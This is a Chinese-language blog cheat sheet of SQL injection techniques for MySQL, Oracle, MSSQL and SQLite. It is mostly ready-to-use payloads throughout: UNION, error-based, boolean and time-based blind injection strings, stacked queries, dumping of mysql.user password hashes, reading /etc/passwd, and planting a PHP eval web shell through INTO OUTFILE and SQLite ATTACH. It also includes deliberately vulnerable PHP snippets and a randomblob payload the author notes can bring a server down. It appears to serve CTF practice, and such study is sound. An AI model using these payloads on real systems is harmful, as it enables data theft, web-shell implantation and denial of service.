自己的总结加上搜集网上各路大牛的方法,应该还算比较全了。
p0desta‘s Blog
一、基本知识
1、常用函数
(1)查看当前数据库版本
- version()
- @@version
- @@global.version
(2)查看当前登陆用户
- user()
- current_user()
- system_user()
- session_user()
(3)当前使用的数据库
- database()
- schema()
(4)路径查询
- @@basedir ——mysql安装路径
- @@slave_load_tampdir ——临时文件夹路径
- @@datadir ——数据存储路径
- @@character_sets_dir ——字符集设置文件路径
- @@log_error ——错误日志文件路径
- @@pid_file ——pid-file文件路径
(5)字符串连接函数
- group_concat() ——返回一个字符串结果,该结果由分组中的值连接组合而成。
group_concat([DISTINCT] 要连接的字段[Order BY ASC/DESC 排序字段] [Separator '分隔符'])
- concat() ——将多个字符串连接成一个字符串,
CONCAT(str1,str2,…)
- concat_ws() ——有分隔符的字符串连接,
CONCAT_WS(separator,str1,str2,…)
(6)盲注常用函数
- length(str) ——返回字符串str的长度
- mid(str, start [,length]) ——从字符串str的start(从1开始)位置开始返回长的为length的部分
- substr(str, start [,length]) ——从字符串str的start(从1开始)位置开始返回长的为length的部分
- left(str, length) ——返回具有指定长度的字符串的左边部分
- ord() ——返回字符串第一个字符的 ASCII 值
- ascii() ——返回字符串第一个字符的 ASCII 值
(7)Time-Based常用函数
- BENCHMARK(count,expr) ——重复count次执行表达式expr
- sleep(n) ——暂停数据库n秒
- if(expr1,expr2,expr3) ——如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值
(8)Wrong-Based常用函数
- rand(int) ——以int为种子生成伪随机数
- floor() ——返回小于等于该值的最大整数
- count() ——统计个数
- updatexml()
updatexml()函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string(Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用: 改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
例如,updatexml(1,concat('~',(select database()),'~'),3);
由于updatexml()
的第二个参数需要Xpath格式的字符串,以~
开头的内容不是xml格式的语法,其中的concat()
函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
(9)其他函数
- bin() ——返回值的二进制表示
- conv(str,m,n) ——进制转换,将str从m进制转换为n进制
- lower() ——转成小写字母
- upper() ——转成大写字母
- hex() ——十六进制编码
- unhex() ——十六进制解码
2、常用语句及方法
(1)Mysql常用语句
所有用户:
select group_concat(user) from mysql.user
用户hash:
select group_concat(password) from mysql.user where user='root'
所有数据库:
SELECT group_concat(schema_name) from information_schema.schemata
表名:
SELECT group_concat(table_name) from information_schema.tables where table_schema='库名'
//表中有主码约束,非空约束等完整性约束条件的才能用这个语句查询出
SELECT group_concat(table_name) from information_schema.table_constraints where table_schema='库名'
字段名:
SELECT group_concat(column_name) from information_schema.columns where table_name='表名'
读文件:
SELECT load_file('/etc/passwd')
写文件:
SELECT '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/shell.php'
用insert语句进行update(ON DUPLICATE KEY UPDATE)
INSERT ... ON DUPLICATE KEY UPDATE
这个语法的目的是为了解决重复性,当数据库中存在某个记录时,执行这条语句会更新它,而不存在这条记录时,则插入它。相当于先判断一条记录是否存在,存在则update,否则insert。
其语法是:
INSERT INTO tablename(field1,field2, field3, ...) VALUES(value1, value2, value3, ...) ON DUPLICATE KEY UPDATE field1=value1,field2=value2, field3=value3, ...;
tablename是表名,field1,field2,field3等是字段名称,value1,value2,value3等是字段值。
(2)UNION注入
判断列数
id=1' order by 1 %23
id=1' order by 2 %23
id=1' order by 3 %23
·····
id=1' order by n %23
直到报错为止,最后一个页面正确回显的数,即为列数
判断回显位置
id=-1' UNION SELECT 1,2 %23
然后在可回显的位置处构造SQL语句进行注入
(2)报错注入
floor
?id=1 OR (SELECT 8627 FROM(SELECT COUNT(*),CONCAT(0x70307e,(SELECT user()),0x7e7030,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
ExtractValue(有长度限制,最长32位)
?id=1 and extractvalue(1, concat(0x7e, (select @@version),0x7e))
UpdateXml(有长度限制,最长32位)
?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
Error based Double Query Injection
?id=1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1
exp(5.5.5以上)
id=1 and (select exp(~(select * from(select user())x)))
polygon
mysql> select * from users where username=""and polygon (password);
ERROR 1367 (22007): Illegal non geometric '`security`.`users`.`password`' value found during parsing
(3)bool盲注
对于盲注,常常需要写脚本来进行注入
可参考:以dvwa为例简单bool盲注脚本
payload:
// i 用于提取每一个位,j 用于判断其对应的ASCII码值的范围。
// k ,结合limit,选择偏移为k的行
// **中可以填上其他的select语句,比如查询表名,列名,数据。一次类推。
// SUBSTR() 也可以换成 SUBSTRING()
' OR (SELECT ASCII(SUBSTR(DATABASE(),i,1) ) < j) #
' OR (SELECT ASCII(SUBSTR((SELECT GROUP_CONCAT(schema_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.SCHEMATA),i,1) ) < j) #
' OR (SELECT SUBSTR(DATABASE(),i,1) < j) #
' OR (SELECT SUBSTR((SELECT GROUP_CONCAT(schema_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.SCHEMATA),i,1) < j) #
' OR SUBSTR((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT k,1),i,1) < j #
(4)时间盲注
检测方法
1 OR SLEEP(25)=0 LIMIT 1 #
1) OR SLEEP(25)=0 LIMIT 1 #
1' OR SLEEP(25)=0 LIMIT 1 #
') OR SLEEP(25)=0 LIMIT 1 #
1)) OR SLEEP(25)=0 LIMIT 1 #
SELECT SLEEP(25) #
payload
UNION SELECT IF(SUBSTR((SELECT GROUP_CONCAT(schema_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.SCHEMATA),i,1) < j,BENCHMARK(100000,SHA1(1)),0)
UNION SELECT IF(SUBSTR((SELECT GROUP_CONCAT(schema_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.SCHEMATA),i,1) < j,SLEEP(10),0)
(5)Insert / Update注入
insert和update一般使用报错注入,如果没有错误回显,insert可以使用延时注入,update可以使用bool盲注和延时盲注。
如果存在insert
或者update
,更新后的数据是可见的话,那么利用mysql的隐式类型转换,其实就是当字符串与整数相加时,会当作整数来解释,如下:
那么我们可以利用查询的数据转化为10进制,然后进行运算,拿到我们计算的结果,在进行转化回去即可。
(可参考RCTF 2015 upload一题)
mysql> update users set password=''+conv(hex(substr(user(),1 + (1-1) * 8, 6)), 16, 10);
Query OK, 1 row affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0
mysql> select * from users;
+----+----------+-----------------+
| id | username | password |
+----+----------+-----------------+
| 1 | admin | 125822936825964 |
+----+----------+-----------------+
1 row in set (0.00 sec)
mysql> select unhex(conv(125822936825964, 10 ,16));
+--------------------------------------+
| unhex(conv(125822936825964, 10 ,16)) |
+--------------------------------------+
| root@l |
+--------------------------------------+
1 row in set (0.00 sec)
(6)表名可控注入
表名不完全可控且DESC的表名含有identifier quote,SELECT的表名不含identifier quote
mysql_connect("localhost","root","root");
mysql_query("use b2cshop");
$table = $_GET['table'];
mysql_query("desc `shop_{$table}`") or die("DESC 出错:".mysql_error());
$sql = "select * from shop_{$table} where 1=1";
echo $sql;
echo "<br><br><br><br><br><br><br>";
var_dump(mysql_fetch_array(mysql_query("$sql")));
echo mysql_error();
shop_users 后面的两个``,做了shop_users 表的别名,所以无影响。
这时候desc的语句为,
desc `shop_users` `where updatexml(1,concat(0x5e24,(select user()),0x5e24),1)#`
表名不完全可控且DESC的表名不含identifier quote,SELECT的表名含有identifier quote
mysql_connect("localhost","root","root");
mysql_query("use b2cshop");
$table = $_GET['table'];
mysql_query("desc shop_{$table}") or die("DESC 出错:".mysql_error());
$sql = "select * from `shop_{$table}` where 1=1";
echo $sql;
echo "<br><br><br><br><br><br><br>";
var_dump(mysql_fetch_array(mysql_query("$sql")));
echo mysql_error();
(7)无列名注入
数字代替列名
select `2` from (select 1,2,3,4 union select * from user)a;
当反引号 ` 不能使用的时候,可以使用别名来代替,如设置 2 的别名为 b
select b from (select 1,2 as b,3,4 union select * from user)a;
别名
union (select 1,2,c from (select 1,2 c union select * from flag)b) limit 1,1
或者
union (select 1,2,c from (select 1,2 as c union select * from flag) as b) limit 1,1
绕过逗号
select c from (select * from (select 1 `a`)m join (select 0 `i`)o join (select 2 `b`)n join (select 3 `c`)t where 0 union select * from flag)x;
(8)可报错时爆表名、字段名、库名
字段名
上文介绍可以使用无列明注入,但是如果再进行限制,不允许使用union 该怎么破呢?
select * from admin where id=1 and (select * from (select * from admin as a join admin as b) as c)
![在这里插入图片描述](https://img-blog.csdnimg.cn/20190716161107942.png
把当前表第一个字段成功爆出来了。
这个的原理就是在使用别名的时候,表中不能出现相同的字段名,于是我们就利用join把表扩充成两份,在最后别名c的时候 查询到重复字段,就成功报错。
同时,可以利用using爆其他字段:
表名
翻阅mysql的文档发现了一个非常好玩的函数
Polygon(ls1, ls2, …)
Polygon从多个LineString或WKB LineString参数 构造一个值 。如果任何参数不表示LinearRing(也就是说,不是一个封闭和简单的LineString),返回值就是NULL
如果传参不是linestring的话,就会爆错,而当如果我们传入的是存在的字段的话,就会爆出已知库、表、列。
库名
上面的方法已经可以爆出库名了,提供另一个方法
select * from admin where id =1-a()
(9)堆叠注入
新建一个表
select * from users where id=1;create table test like users;
删除上面新建的test表
select * from users where id=1;drop table test;
查询数据
select * from users where id=1;select 1,2,3;
加载文件
select * from users where id=1;select load_file('c:/tmpupbbn.php');
修改数据
select * from users where id=1;insert into users(id,username,password)
values('100','new','new');
找一处可查询处,利用修改表名来拿数据
';rename table `words` to `xxxx`;rename table `1919810931114514` to `words`;alter table `words` add id int primary key auto_increment;%23
三、其他数据库
1.Oracle
注释符:
-- +
当前用户权限:
select * from session_roles
当前数据库版本:
select banner from sys.v_$version where rownum=1
服务器监听IP:
select utl_inaddr.get_host_address from dual
服务器操作系统:
select member from v$logfile where rownum=1
服务器sid:
select instance_name fromv$instance
当前连接用户:
select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual
获取数据库名:
select owner from all_tables where rownum=1
依次爆出所有数据库名,假设第一个库名为first_dbname哪个第二个库select owner from all_tables where rownum=1 and owner<>'first_dbname'依次类推
获取表名:
select table_name from user_tables where rownum=1,依次爆出所有表类似暴库。
获取字段名:
select column_name from user_tab_columns where table_name='tablename' and rownum=1,
2.MSSQL
数据库版本:
select @@VERSION
数据库名:
select db_name()
数据库ip地址:
select local_net_address from sys.dm_exec_connextions where Session_id=@@spid
暴当前表中的列:
article.asp?id=6 group by admin.username having 1=1--
article.asp?id=6 group by admin.username,admin.password having 1=1--
暴任意表和列:
and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1
and (select top col_name(object_id('admin'),N) from sysobjects)>1
暴数据库数据:
and (select top 1 password from admin where id=N)>1
3.SQLite
(1)常用信息及语句
数据库版本:
select sqlite_version()
获取所有表名:
SELECT name FROM sqlite_master WHERE type='table'
所有表结构(包含字段名,表名):
SELECT sql FROM sqlite_master WHERE type='table'
注释符
--
盲注常用函数:substr()(没有mid、left等函数),判断长度函数length()
(2)BOOL盲注
bool条件构造和MySQL一样,但是亦或运算的Payload不可用,注释符使用–。
逻辑判断目前我就翻到一个substr(),应用实例:
cond='FALSE' or (substr('abc',1,1)='a')
(3)延时盲注
sqlite没有类似sleep()的函数,但有个函数randomblob(N),生成N个任意字符,可以造成延时。
SQLite没有if,可以使用case when … then …
格式cond='true' AND 1=(case when (bool) then randomblob(100000000) else 0 end)
100000000个字符就有明显延时了。
注意cond为真,并且不要有太多条数据,因为有一条数据就会执行一次randomblob(100000000)
,如果数据很多的话,服务器直接挂了。可以首先判断一下数据量,再确定N的值,比如我这里有100多条数据,就可以id='' or 1 AND 1=randomblob(1000000)
这样,把N的值缩小100倍。灵活运用。
运用实例:
' or 1 and 1=(case when substr('abc',1,1)='a' then randomblob(1000000) else 0 end)--
(4)写文件
需要直接访问数据库,或堆叠查询选项启用(默认关闭)
';ATTACH DATABASE '/tmp/p0.php' AS p0;CREATE TABLE p0.shell (data text);INSERT INTO p0.shell (data) VALUES ('<?php eval($_POST[1]);?>');--
root权限的话可以写计划任务和公钥,参考redis未授权访问利用。
(5)读文件
只能用在Windows上,需要特殊配置。
load_extension(library_file,entry_point)